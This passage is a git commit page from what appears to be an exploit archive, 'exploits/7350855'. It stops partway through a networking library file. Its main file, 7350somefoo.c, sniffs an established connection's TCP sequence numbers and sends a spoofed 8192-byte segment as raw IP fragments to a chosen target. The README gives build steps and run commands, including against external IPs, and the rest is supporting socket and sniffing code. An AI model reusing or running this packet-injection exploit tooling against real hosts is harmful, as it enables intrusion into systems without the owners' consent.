summaryrefslogtreecommitdiff
path: root/exploits/7350855
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350855
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350855')
-rw-r--r--exploits/7350855/0/7350somefoo.c292
-rw-r--r--exploits/7350855/0/Makefile20
-rw-r--r--exploits/7350855/0/README18
-rw-r--r--exploits/7350855/0/common.c318
-rw-r--r--exploits/7350855/0/common.h26
-rw-r--r--exploits/7350855/0/network.c918
-rw-r--r--exploits/7350855/0/network.h367
-rw-r--r--exploits/7350855/0/packet.c487
-rw-r--r--exploits/7350855/0/packet.h85
-rw-r--r--exploits/7350855/0/readtest.c42
-rw-r--r--exploits/7350855/0/sniff.c323
-rw-r--r--exploits/7350855/0/sniff.h44
-rw-r--r--exploits/7350855/7350855bin0 -> 189293 bytes
-rw-r--r--exploits/7350855/7350855-bumped.tar.gzbin0 -> 23571 bytes
-rw-r--r--exploits/7350855/7350855.c293
-rw-r--r--exploits/7350855/7350855_exploit.c877
-rw-r--r--exploits/7350855/Makefile20
-rw-r--r--exploits/7350855/common.c318
-rw-r--r--exploits/7350855/common.h26
-rw-r--r--exploits/7350855/common.obin0 -> 21684 bytes
-rw-r--r--exploits/7350855/network.c918
-rw-r--r--exploits/7350855/network.h367
-rw-r--r--exploits/7350855/network.obin0 -> 46048 bytes
-rw-r--r--exploits/7350855/none.tgzbin0 -> 18002 bytes
-rw-r--r--exploits/7350855/packet.c487
-rw-r--r--exploits/7350855/packet.h85
-rw-r--r--exploits/7350855/packet.obin0 -> 44540 bytes
-rw-r--r--exploits/7350855/readtestbin0 -> 63363 bytes
-rw-r--r--exploits/7350855/readtest.c42
-rw-r--r--exploits/7350855/sniff.c323
-rw-r--r--exploits/7350855/sniff.h44
-rw-r--r--exploits/7350855/sniff.obin0 -> 41984 bytes
32 files changed, 6740 insertions, 0 deletions
diff --git a/exploits/7350855/0/7350somefoo.c b/exploits/7350855/0/7350somefoo.c
new file mode 100644
index 0000000..9873e42
--- /dev/null
+++ b/exploits/7350855/0/7350somefoo.c
@@ -0,0 +1,292 @@
1
2
3#include <stdio.h>
4#include <stdlib.h>
5#include <unistd.h>
6#include <libnet.h>
7#include "packet.h"
8#include "sniff.h"
9#include "network.h"
10
11
12extern pthread_mutex_t watch_mutex;
13extern int watch;
14extern struct in_addr watch_ipsrc,
15 watch_ipdst;
16extern unsigned short int watch_sport,
17 watch_dport;
18extern unsigned long int watch_src_seq,
19 watch_dst_seq;
20extern unsigned long int watch_src_ack,
21 watch_dst_ack;
22
23/* globals
24 */
25char * target = "127.0.0.1";
26unsigned int target_port = 2000;
27char * interface = "eth0";
28
29pq_thread * pmain;
30pthread_t sniff_t;
31
32/* prototypes
33 */
34void witch_write (unsigned char *data, unsigned long int data_len,
35 unsigned short int frag_size);
36int watch_connect (char *host, unsigned short int port);
37void watch_enable (void);
38void watch_disable (void);
39
40
41void
42usage (char *progfile)
43{
44 fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile);
45
46 exit (EXIT_FAILURE);
47}
48
49
50int
51main (int argc, char *argv[])
52{
53 int n;
54 int net;
55 char c;
56
57 int scount = 5;
58 unsigned char tbuf[8192];
59
60
61 while ((c = getopt (argc, argv, "p:t:i:")) != EOF) {
62 switch (c) {
63 case 'p':
64 target_port = atoi (optarg);
65 break;
66 case 't':
67 target = optarg;
68 break;
69 case 'i':
70 interface = optarg;
71 break;
72 default:
73 usage (argv[0]);
74 }
75 }
76
77 srandom (time (NULL));
78
79 net = watch_connect (target, target_port);
80 watch_enable ();
81
82 while (scount-- > 0) {
83 write (net, "\x73\x50", 2);
84 sleep (1);
85 }
86
87 memset (tbuf, 'A', sizeof (tbuf));
88 tbuf[sizeof (tbuf) - 1] = '\0';
89 for (n = 0 ; n < sizeof (tbuf) ; ++n)
90 tbuf[n] = n % 2 ? '\x73' : '\x50';
91
92 witch_write (tbuf, sizeof (tbuf), 768);
93
94 fprintf (stderr, "send\n");
95
96 sleep (20);
97 close (net);
98
99 exit (EXIT_SUCCESS);
100}
101
102
103/* will write the data in one big tcp fragment. then tear down the connection,
104 * since it would get fucked over by the local host anyway (which does not
105 * know about the packets we send). idea by dvorak btw
106 */
107
108void
109witch_write (unsigned char *data, unsigned long int data_len,
110 unsigned short int frag_size)
111{
112 int frag_no;
113 unsigned short int frag_ofs;
114
115 unsigned long int this_len; /* this fragments length */
116 unsigned char tcpbuf[65536];
117 unsigned char pbuf[2048]; /* packet buffer */
118
119 unsigned char * tp;
120 unsigned long int tp_len;
121 unsigned short int tp_id = random () & 0xffff;
122
123 int rawsock,
124 rawlen;
125
126
127 /* first, disable tcp parsing, to not confuse it */
128 watch_disable ();
129
130 memset (tcpbuf, '\0', sizeof (tcpbuf));
131 if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) ||
132 frag_size > (sizeof (pbuf) - IP_H))
133 {
134 fprintf (stderr, "packet size exceeded\n");
135 exit (EXIT_FAILURE);
136 }
137
138 /* XXX/FIXME: watch_dst_seq is used, but it should be
139 * watch_dst_seq + length-of-last-send-packet-by-target-host
140 * XXX: so it only works if the last packet by the target was a simple
141 * no-data packet
142 */
143 libnet_build_tcp (watch_sport, watch_dport,
144 watch_dst_ack, /* ack # is next seq # */
145 watch_dst_seq, /* acknowledge what it send (hopefully nothing) */
146 TH_ACK | TH_FIN | TH_PUSH,
147 16384, /* window size */
148 0, /* no urgent data */
149 data,
150 data_len,
151 tcpbuf + IP_H);
152
153 libnet_build_ip (data_len + TCP_H, /* length w/o header */
154 0,
155 tp_id,
156 0,
157 128, /* TTL */
158 IPPROTO_TCP, /* enclosed payload */
159 watch_ipsrc.s_addr,
160 watch_ipdst.s_addr,
161 tcpbuf + IP_H,
162 data_len + TCP_H,
163 tcpbuf);
164
165 /* calculate checksum and slide buffer so we only have the proper
166 * tcp packet left
167 */
168 libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len);
169 memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len);
170
171 tp = tcpbuf;
172 tp_len = TCP_H + data_len;
173
174 frag_size &= ~0x03; /* align downwards on an 8 byte boundary */
175 frag_no = 0;
176 frag_ofs = 0;
177
178 /* write it out
179 */
180 rawsock = libnet_open_raw_sock (IPPROTO_RAW);
181 if (rawsock == -1) {
182 perror ("libnet_open_raw_sock");
183
184 exit (EXIT_FAILURE);
185 }
186
187 while (tp_len > 0) {
188 this_len = frag_size < tp_len ? frag_size : tp_len;
189 tp_len -= this_len;
190
191 memset (pbuf, '\0', sizeof (pbuf));
192
193 /* construct one fragment
194 */
195 libnet_build_ip (this_len, /* length w/o header */
196 0, /* no special TOS */
197 tp_id, /* random ID */
198 (tp_len > 0 ? IP_MF : 0) | /* more fragments to come ? */
199 ((frag_ofs >> 3) & IP_OFFMASK), /* fragmentation offset */
200 128, /* TTL */
201 IPPROTO_TCP, /* enclosed payload */
202 watch_ipsrc.s_addr,
203 watch_ipdst.s_addr,
204 tp, this_len,
205 pbuf);
206
207 libnet_do_checksum (pbuf, IPPROTO_IP, IP_H);
208
209
210 rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len);
211 if (rawlen != IP_H + this_len) {
212 perror ("libnet_write_ip");
213
214 exit (EXIT_FAILURE);
215 }
216
217 /* sleep to let the packet reach its target
218 */
219 fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no,
220 frag_ofs, this_len, tp_len);
221 usleep (500000);
222
223 /* align for next fragment
224 */
225 tp += this_len;
226 frag_no += 1;
227 frag_ofs += this_len;
228 }
229
230 close (rawsock);
231}
232
233
234void
235watch_enable (void)
236{
237 pthread_mutex_lock (&watch_mutex);
238 watch = 1;
239 pthread_mutex_unlock (&watch_mutex);
240}
241
242
243void
244watch_disable (void)
245{
246 pthread_mutex_lock (&watch_mutex);
247 watch = 0;
248 pthread_mutex_unlock (&watch_mutex);
249}
250
251
252int
253watch_connect (char *host, unsigned short int port)
254{
255 int sock;
256 char * ip_pr;
257
258
259 sock = net_connect (NULL, host, port, NULL, 0, 20);
260
261 pthread_mutex_lock (&watch_mutex);
262 if (net_addrpair (sock , &watch_ipsrc, &watch_sport,
263 &watch_ipdst, &watch_dport))
264 {
265 perror ("address pair on connection");
266
267 exit (EXIT_FAILURE);
268 }
269 pthread_mutex_unlock (&watch_mutex);
270
271 net_printipa (&watch_ipsrc, &ip_pr);
272 printf ("%s:%hu <-> ", ip_pr, watch_sport);
273 free (ip_pr);
274 net_printipa (&watch_ipdst, &ip_pr);
275 printf ("%s:%hu\n", ip_pr, watch_dport);
276 free (ip_pr);
277
278 pmain = pq_create ();
279 if (pmain == NULL) {
280 fprintf (stderr, "failed to create packetizer thread\n");
281 exit (EXIT_FAILURE);
282 }
283
284 if (sniff_new (&sniff_t, interface, pmain)) {
285 fprintf (stderr, "failed to create sniffing thread\n");
286 exit (EXIT_FAILURE);
287 }
288
289 return (sock);
290}
291
292
diff --git a/exploits/7350855/0/Makefile b/exploits/7350855/0/Makefile
new file mode 100644
index 0000000..e5e1542
--- /dev/null
+++ b/exploits/7350855/0/Makefile
@@ -0,0 +1,20 @@
1
2#DFLAGS=-O2
3DFLAGS=-g -ggdb `libnet-config --defines` -DDEBUG
4CC=gcc
5CFLAGS=$(DFLAGS) -Wall
6OBJS= common.o network.o sniff.o packet.o
7LIBS=-lnet -lpcap -lpthread
8
9
10all: 7350somefoo readtest
11
12clean:
13 rm -f *.o 7350somefoo readtest
14
15readtest: readtest.c network.o
16 $(CC) $(CFLAGS) -o readtest readtest.c network.o
17
187350somefoo: $(OBJS) 7350somefoo.c
19 $(CC) $(CFLAGS) -o 7350somefoo 7350somefoo.c $(OBJS) $(LIBS)
20
diff --git a/exploits/7350855/0/README b/exploits/7350855/0/README
new file mode 100644
index 0000000..ce54b13
--- /dev/null
+++ b/exploits/7350855/0/README
@@ -0,0 +1,18 @@
1
2do:
3
4make
5# (ignore the random error warnings, its due to libnet lameness)
6
7./readtest &
8
9and as root:
10
11./7350somefoo -i lo -t 127.0.0.1 -p 2000
12or
13./7350somefoo -t <external-ip> -p 2000
14
15
16it should show that 8192 bytes are read at once
17try this with an external ip too, it should work 1:1 there, too.
18
diff --git a/exploits/7350855/0/common.c b/exploits/7350855/0/common.c
new file mode 100644
index 0000000..9b28d61
--- /dev/null
+++ b/exploits/7350855/0/common.c
@@ -0,0 +1,318 @@
1
2#include <sys/time.h>
3#include <netinet/in.h>
4#include <time.h>
5#include <stdarg.h>
6#include <stdio.h>
7#include <string.h>
8#include <stdlib.h>
9#include "common.h"
10
11
12#ifdef DEBUG
13void
14debugp (char *filename, const char *str, ...)
15{
16 FILE *fp; /* temporary file pointer */
17 va_list vl;
18
19 fp = fopen (filename, "a");
20 if (fp == NULL)
21 return;
22
23 va_start (vl, str);
24 vfprintf (fp, str, vl);
25 va_end (vl);
26
27 fclose (fp);
28
29 return;
30}
31
32void
33hexdump (char *filename, unsigned char *data, unsigned int amount)
34{
35 FILE *fp; /* temporary file pointer */
36 unsigned int dp, p; /* data pointer */
37 const char trans[] =
38 "................................ !\"#$%&'()*+,-./0123456789"
39 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
40 "nopqrstuvwxyz{|}~...................................."
41 "....................................................."
42 "........................................";
43
44 fp = fopen (filename, "a");
45 if (fp == NULL)
46 return;
47
48 fprintf (fp, "\n-packet-\n");
49
50 for (dp = 1; dp <= amount; dp++) {
51 fprintf (fp, "%02x ", data[dp-1]);
52 if ((dp % 8) == 0)
53 fprintf (fp, " ");
54 if ((dp % 16) == 0) {
55 fprintf (fp, "| ");
56 p = dp;
57 for (dp -= 16; dp < p; dp++)
58 fprintf (fp, "%c", trans[data[dp]]);
59 fflush (fp);
60 fprintf (fp, "\n");
61 }
62 fflush (fp);
63 }
64 if ((amount % 16) != 0) {
65 p = dp = 16 - (amount % 16);
66 for (dp = p; dp > 0; dp--) {
67 fprintf (fp, " ");
68 if (((dp % 8) == 0) && (p != 8))
69 fprintf (fp, " ");
70 fflush (fp);
71 }
72 fprintf (fp, " | ");
73 for (dp = (amount - (16 - p)); dp < amount; dp++)
74 fprintf (fp, "%c", trans[data[dp]]);
75 fflush (fp);
76 }
77 fprintf (fp, "\n");
78
79 fclose (fp);
80 return;
81}
82
83#endif
84
85
86/* m_random
87 *
88 * return a random number between `lowmark' and `highmark'
89 */
90
91int
92m_random (int lowmark, int highmark)
93{
94 long int rnd;
95
96 /* flip/swap them in case user messed up
97 */
98 if (lowmark > highmark) {
99 lowmark ^= highmark;
100 highmark ^= lowmark;
101 lowmark ^= highmark;
102 }
103 rnd = lowmark;
104
105 rnd += (random () % (highmark - lowmark));
106
107 /* this is lame, i know :)
108 */
109 return (rnd);
110}
111
112
113/* set_tv
114 *
115 * initializes a struct timeval pointed to by `tv' to a second value of
116 * `seconds'
117 *
118 * return in any case
119 */
120
121void
122set_tv (struct timeval *tv, int seconds)
123{
124 tv->tv_sec = seconds;
125 tv->tv_usec = 0;
126
127 return;
128}
129
130
131/* xstrupper
132 *
133 * uppercase a string `str'
134 *
135 * return in any case
136 */
137
138void
139xstrupper (char *str)
140{
141 for (; *str != '\0'; ++str) {
142 if (*str >= 'a' && *str <= 'z') {
143 *str -= ('a' - 'A');
144 }
145 }
146
147 return;
148}
149
150
151/* concating snprintf
152 *
153 * determines the length of the string pointed to by `os', appending formatted
154 * string to a maximium length of `len'.
155 *
156 */
157
158void
159scnprintf (char *os, size_t len, const char *str, ...)
160{
161 va_list vl;
162 char *ostmp = os + strlen (os);
163
164 va_start (vl, str);
165 vsnprintf (ostmp, len - strlen (os) - 1, str, vl);
166 va_end (vl);
167
168 return;
169}
170
171
172unsigned long int
173tdiff (struct timeval *old, struct timeval *new)
174{
175 unsigned long int time1;
176
177 if (new->tv_sec >= old->tv_sec) {
178 time1 = new->tv_sec - old->tv_sec;
179 if ((new->tv_usec - 500000) >= old->tv_usec)
180 time1++;
181 } else {
182 time1 = old->tv_sec - new->tv_sec;
183 if ((old->tv_usec - 500000) >= new->tv_usec)
184 time1++;
185 }
186
187 return (time1);
188}
189
190
191/* ipv4_print
192 *
193 * padding = 0 -> don't padd
194 * padding = 1 -> padd with zeros
195 * padding = 2 -> padd with spaces
196 */
197
198char *
199ipv4_print (char *dest, struct in_addr in, int padding)
200{
201 unsigned char *ipp;
202
203 ipp = (unsigned char *) &in.s_addr;
204
205 strcpy (dest, "");
206
207 switch (padding) {
208 case (0):
209 sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
210 break;
211 case (1):
212 sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]);
213 break;
214 case (2):
215 sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]);
216 break;
217 default:
218 break;
219 }
220
221 return (dest);
222}
223
224
225void *
226xrealloc (void *m_ptr, size_t newsize)
227{
228 void *n_ptr;
229
230 n_ptr = realloc (m_ptr, newsize);
231 if (n_ptr == NULL) {
232 fprintf (stderr, "realloc failed\n");
233 exit (EXIT_FAILURE);
234 }
235
236 return (n_ptr);
237}
238
239
240char *
241xstrdup (char *str)
242{
243 char *b;
244
245 b = strdup (str);
246 if (b == NULL) {
247 fprintf (stderr, "strdup failed\n");
248 exit (EXIT_FAILURE);
249 }
250
251 return (b);
252}
253
254
255void *
256xcalloc (int factor, size_t size)
257{
258 void *bla;
259
260 bla = calloc (factor, size);
261
262 if (bla == NULL) {
263 fprintf (stderr, "no memory left\n");
264 exit (EXIT_FAILURE);
265 }
266
267 return (bla);
268}
269
270
271/* source by dk
272 */
273
274char *
275allocncat (char **to, char *from, size_t len)
276{
277 int rlen = strlen (from);
278 int null = *to == NULL;
279
280 len = rlen < len ? rlen : len;
281 *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1);
282 if (null)
283 **to = '\0';
284
285 if (*to == NULL)
286 perror ("no memory: ");
287
288 return (strncat (*to, from, len));
289}
290
291
292char *
293alloccat (char **to, char *from)
294{
295 return (allocncat (to, from, strlen (from)));
296}
297
298
299char *
300ip_get_random (void)
301{
302 char *ip = xcalloc (1, 17);
303 int i[4];
304
305 for (;;) {
306 i[0] = m_random (1, 239);
307 if (i[0] != 10 && i[0] != 127 && i[0] != 192)
308 break;
309 }
310 i[1] = m_random (1, 254);
311 i[2] = m_random (1, 254);
312 i[3] = m_random (1, 254);
313
314 sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]);
315
316 return (ip);
317}
318
diff --git a/exploits/7350855/0/common.h b/exploits/7350855/0/common.h
new file mode 100644
index 0000000..dc7b666
--- /dev/null
+++ b/exploits/7350855/0/common.h
@@ -0,0 +1,26 @@
1
2#ifndef Z_COMMON_H
3#define Z_COMMON_H
4
5#include <sys/time.h>
6#include <netinet/in.h>
7
8#ifdef DEBUG
9void debugp (char *filename, const char *str, ...);
10void hexdump (char *filename, unsigned char *data, unsigned int amount);
11#endif
12int m_random (int lowmark, int highmark);
13void set_tv (struct timeval *tv, int seconds);
14void xstrupper (char *str);
15void scnprintf (char *os, size_t len, const char *str, ...);
16unsigned long int tdiff (struct timeval *old, struct timeval *new);
17char *ipv4_print (char *dest, struct in_addr in, int padding);
18void *xrealloc (void *m_ptr, size_t newsize);
19char *xstrdup (char *str);
20void *xcalloc (int factor, size_t size);
21char *allocncat (char **to, char *from, size_t len);
22char *alloccat (char **to, char *from);
23char *ip_get_random (void);
24
25#endif
26
diff --git a/exploits/7350855/0/network.c b/exploits/7350855/0/network.c
new file mode 100644
index 0000000..71d4a21
--- /dev/null
+++ b/exploits/7350855/0/network.c
@@ -0,0 +1,918 @@
1
2/* scut's leet network library ;)
3 * 1999 (c) scut
4 *
5 * networking routines
6 * based on my hbot networking sources,
7 * revised, extended and adapted 990405
8 * extended, improved and fixed 990430
9 *
10 * nearly all of this code wouldn't have been possible without w. richard stevens
11 * excellent network coding book. if you are interested in network coding,
12 * there is no way around it.
13 */
14
15#include <sys/types.h>
16#include <sys/ioctl.h>
17#include <sys/socket.h>
18#include <sys/time.h>
19#include <netinet/in.h>
20#include <arpa/inet.h>
21#include <netdb.h>
22#include <net/if.h>
23#include <errno.h>
24#include <fcntl.h>
25#include <stdarg.h>
26#include <stdio.h>
27#include <stdlib.h>
28#include <string.h>
29#include <unistd.h>
30#include "network.h"
31
32int net_readtimeout = NET_READTIMEOUT;
33int net_conntimeout = NET_CONNTIMEOUT;
34int net_identtimeout = NET_IDENTTIMEOUT;
35
36
37int
38net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec)
39{
40 int s5s;
41 struct sockaddr_in cs;
42
43 s5s = net_connect (&cs, socks, sport, NULL, 0, sec);
44 if (s5s == -1)
45 return (-1);
46
47 if (net_socks_put_s5info (s5s, server, port, sec) == -1) {
48 close (s5s);
49 return (-1);
50 }
51 return (s5s);
52}
53
54
55int
56net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec)
57{
58 int n;
59 char buff[1024];
60
61 /* v5 + noauth */
62 net_write (s5s, "\x05\x01%c", 0);
63 if (net_rtimeout (s5s, sec) == -1)
64 return (-1);
65 recv (s5s, buff, sizeof (buff), 0);
66
67 /* chain us =) */
68 net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff);
69 if (net_rtimeout (s5s, sec) == -1)
70 return (-1);
71 n = recv (s5s, buff, sizeof (buff), 0);
72 if (buff[1] != 0x00) {
73 return (-1);
74 }
75 return (1);
76}
77
78
79int
80net_parseip (char *inp, char **ip, unsigned short int *port)
81{
82 int n;
83
84 if (inp == NULL)
85 return (0);
86 if (strchr (inp, ':') == NULL)
87 return (0);
88
89 *ip = calloc (1, 256);
90 if (*ip == NULL)
91 return (0);
92
93 n = sscanf (inp, "%[^:]:%hu", *ip, port);
94 if (n != 2)
95 return (0);
96
97 *ip = realloc (*ip, strlen (*ip) + 1);
98 if (*ip == NULL || (*port < 1 || *port > 65535))
99 return (0);
100
101 return (1);
102}
103
104
105char *
106net_getlocalip (void)
107{
108 struct sockaddr_in pf;
109 char name[255];
110
111 memset (name, '\0', sizeof (name));
112
113 if (gethostname (name, sizeof (name) - 1) == -1) {
114 return (NULL);
115 }
116
117 pf.sin_addr.s_addr = net_resolve (name);
118
119 return (strdup (inet_ntoa (pf.sin_addr)));;
120}
121
122
123char *
124net_peeraddress (int socket)
125{
126 char * hip;
127 struct sockaddr_in peeraddr;
128 size_t size = sizeof (struct sockaddr_in);
129
130 if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1)
131 return (NULL);
132
133 net_printipa (&peeraddr.sin_addr, &hip);
134
135 return (hip);
136}
137
138
139int
140net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt,
141 struct in_addr *dst_ip, unsigned short int *dst_prt)
142{
143 size_t size = sizeof (struct sockaddr_in);
144 struct sockaddr_in addr;
145
146
147 if (getsockname (socket, (struct sockaddr *) &addr, &size) == -1)
148 return (1);
149
150 src_ip->s_addr = addr.sin_addr.s_addr;
151 *src_prt = ntohs (addr.sin_port);
152
153 if (getpeername (socket, (struct sockaddr *) &addr, &size) == -1)
154 return (1);
155
156 dst_ip->s_addr = addr.sin_addr.s_addr;
157 *dst_prt = ntohs (addr.sin_port);
158
159 return (0);
160}
161
162
163char *
164net_peername (int socket)
165{
166 struct sockaddr_in peeraddr;
167 struct hostent he, *hep;
168 size_t size = sizeof (struct sockaddr_in);
169 int n, h_errno;
170 unsigned char h_buf[8192];
171
172 if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1)
173 return (NULL);
174
175 /* digital unix / hp-ux freaks mod here =)
176 */
177 n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr),
178 AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno);
179
180 if (hep == NULL) {
181 char *ip_str = NULL;
182
183 net_printipa (&peeraddr.sin_addr, &ip_str);
184 return (ip_str);
185 }
186
187 return (strdup (he.h_name));
188}
189
190
191FILE *
192net_descriptify (int socket)
193{
194 FILE *fp;
195
196 fp = fdopen (socket, "r+");
197 return ((fp == NULL) ? (NULL) : (fp));
198}
199
200
201/* loosely based on rfc931.c */
202
203int
204net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport,
205 struct sockaddr_in *remotes, unsigned short int remoteport)
206{
207 int is; /* ident socket */
208 struct sockaddr_in isa;
209 int n;
210 char identreply[512], *cp;
211 unsigned int rmt_port, our_port;
212
213
214 *ident = NULL;
215
216 is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout);
217 if (is == -1)
218 return (-1);
219
220 /* ident request */
221 net_write (is, "%u,%u\r\n", remoteport, localport);
222 memset (identreply, '\0', sizeof (identreply));
223
224 n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout);
225 if (n == -1) {
226 close (is);
227 return (-1);
228 }
229 close (is);
230
231 *ident = calloc (1, 256);
232#ifdef DEBUG
233 printf("%s\n", identreply);
234#endif
235 n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident);
236 if (n != 3) {
237 free (*ident);
238 *ident = NULL;
239 return (-1);
240 }
241
242 /* check the ports 'man */
243 if ((rmt_port != remoteport) || (our_port != localport)) {
244 free (*ident);
245 *ident = NULL;
246 return (-1);
247 }
248
249 /* strip character and save some memory */
250 if ((cp = strchr (*ident, '\r')))
251 *cp = '\0';
252 n = strlen (*ident);
253 *ident = realloc (*ident, n + 1);
254 (*ident)[n] = '\0';
255
256#ifdef DEBUG
257 printf("ident-return: %s\n", *ident);
258#endif
259 return (1);
260}
261
262
263int
264net_accept (int s, struct sockaddr_in *cs, int maxsec)
265{
266 int flags, n;
267 fd_set ac_s;
268 int len;
269 struct timeval tval;
270 struct sockaddr_in csa;
271
272 if (cs == NULL)
273 cs = &csa;
274
275 flags = fcntl(s, F_GETFL, 0);
276 if (flags == -1)
277 return (-1);
278 n = fcntl(s, F_SETFL, flags | O_NONBLOCK);
279 if (n == -1)
280 return (-1);
281
282 FD_ZERO(&ac_s);
283 FD_SET(s, &ac_s);
284 tval.tv_sec = maxsec;
285 tval.tv_usec = 0;
286
287 n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL);
288 if (n == 0)
289 return (0);
290
291 if (FD_ISSET(s, &ac_s)) {
292 len = sizeof(struct sockaddr_in);
293 n = accept(s, (struct sockaddr *) cs, &len);
294 if (n == -1) {
295 switch (errno) {
296 case EWOULDBLOCK:
297 case ECONNABORTED:
298 case EPROTO:
299 case EINTR: if (fcntl(s, F_SETFL, flags) == -1)
300 return (-1);
301 return (0);
302 default: return (-1);
303 }
304 }
305 if (fcntl(s, F_SETFL, flags) == -1)
306 return (-1);
307 return (n);
308 }
309 if (fcntl(s, F_SETFL, flags) == -1)
310 return (-1);
311 return (0);
312}
313
314
315int
316net_testvip (char *ip)
317{
318 struct ifi_info *ifi, *ifc;
319 struct in_addr ip_n;
320
321 if (ip == NULL)
322 return (1);
323 if (strcmp(ip, "*") == 0)
324 return (1);
325
326 ip_n.s_addr = net_resolve(ip);
327 if (!(ip_n.s_addr))
328 return (0);
329
330 ifi = net_ifi_get (AF_INET, 1);
331 if (ifi == NULL)
332 return (0);
333 for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) {
334 if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) {
335 net_ifi_free(ifi);
336 return (1);
337 }
338 }
339 net_ifi_free(ifi);
340 return (0);
341}
342
343
344void
345net_ifi_free (struct ifi_info *tf)
346{
347 struct ifi_info *ifi, *ifil;
348
349 ifil = NULL;
350 for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) {
351 if (ifil)
352 free (ifil);
353 if (ifi->ifi_addr)
354 free (ifi->ifi_addr);
355 ifil = ifi;
356 }
357 if (ifil)
358 free (ifil);
359 return;
360}
361
362
363struct ifi_info *
364net_ifi_get (int family, int doaliases)
365{
366 struct ifi_info *ifi, *ifihead, **ifipnext;
367 int sockfd, len, lastlen, flags, myflags;
368 char *ptr, *buf, lastname[IFNAMSIZ], *cptr;
369 struct ifconf ifc;
370 struct ifreq *ifr, ifrcopy;
371 struct sockaddr_in *sinptr;
372
373 sockfd = socket(AF_INET, SOCK_DGRAM, 0);
374 if (sockfd == -1)
375 return (NULL);
376
377 lastlen = 0;
378 len = 100 * sizeof(struct ifreq);
379 for (;;) {
380 buf = malloc(len);
381 if (buf == NULL)
382 return (NULL);
383 ifc.ifc_len = len;
384 ifc.ifc_buf = buf;
385 if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) {
386 if (errno != EINVAL || lastlen != 0)
387 return (NULL);
388 } else {
389 if (ifc.ifc_len == lastlen)
390 break;
391 lastlen = ifc.ifc_len;
392 }
393 len += 10 * sizeof(struct ifreq);
394 free (buf);
395 }
396 ifihead = NULL;
397 ifipnext = &ifihead;
398 lastname[0] = 0;
399
400 for (ptr = buf; ptr < buf + ifc.ifc_len;) {
401 ifr = (struct ifreq *) ptr;
402 if (ifr->ifr_addr.sa_family == AF_INET)
403 len = sizeof(struct sockaddr);
404 ptr += sizeof(ifr->ifr_name) + len;
405
406 if (ifr->ifr_addr.sa_family != family)
407 continue;
408 myflags = 0;
409 if ((cptr = strchr(ifr->ifr_name, ':')) != NULL)
410 *cptr = 0;
411 if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) {
412 if (doaliases == 0)
413 continue;
414 myflags = IFI_ALIAS;
415 }
416 memcpy(lastname, ifr->ifr_name, IFNAMSIZ);
417
418 ifrcopy = *ifr;
419 if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0)
420 return (NULL);
421 flags = ifrcopy.ifr_flags;
422 if ((flags & IFF_UP) == 0)
423 continue;
424
425 ifi = calloc(1, sizeof(struct ifi_info));
426 if (ifi == NULL)
427 return (NULL);
428 *ifipnext = ifi;
429 ifipnext = &ifi->ifi_next;
430 ifi->ifi_flags = flags;
431 ifi->ifi_myflags = myflags;
432 memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME);
433 ifi->ifi_name[IFI_NAME - 1] = '\0';
434
435#ifdef DEBUG
436 printf("got: %s\n", ifi->ifi_name);
437#endif
438
439 switch (ifr->ifr_addr.sa_family) {
440 case AF_INET:
441 sinptr = (struct sockaddr_in *) &ifr->ifr_addr;
442 memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr));
443 if (ifi->ifi_addr == NULL) {
444 ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in));
445 if (ifi->ifi_addr == NULL)
446 return (NULL);
447 memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in));
448 }
449 break;
450 default:
451 break;
452 }
453 }
454 free (buf);
455 return (ifihead);
456}
457
458
459void
460net_boundfree (bound *bf)
461{
462 close (bf->bs);
463 free (bf);
464 return;
465}
466
467
468bound *
469net_bind (char *ip, unsigned short int port)
470{
471 bound *b;
472 int br, gsnr, lr;
473 int len, reusetmp;
474 struct sockaddr_in *sap;
475
476 if (port >= 65536)
477 return (NULL);
478
479 b = calloc(1, sizeof (bound));
480 if (b == NULL)
481 return (NULL);
482 b->bs = socket (AF_INET, SOCK_STREAM, 0);
483 if (b->bs == -1)
484 goto berror;
485
486 reusetmp = 1;
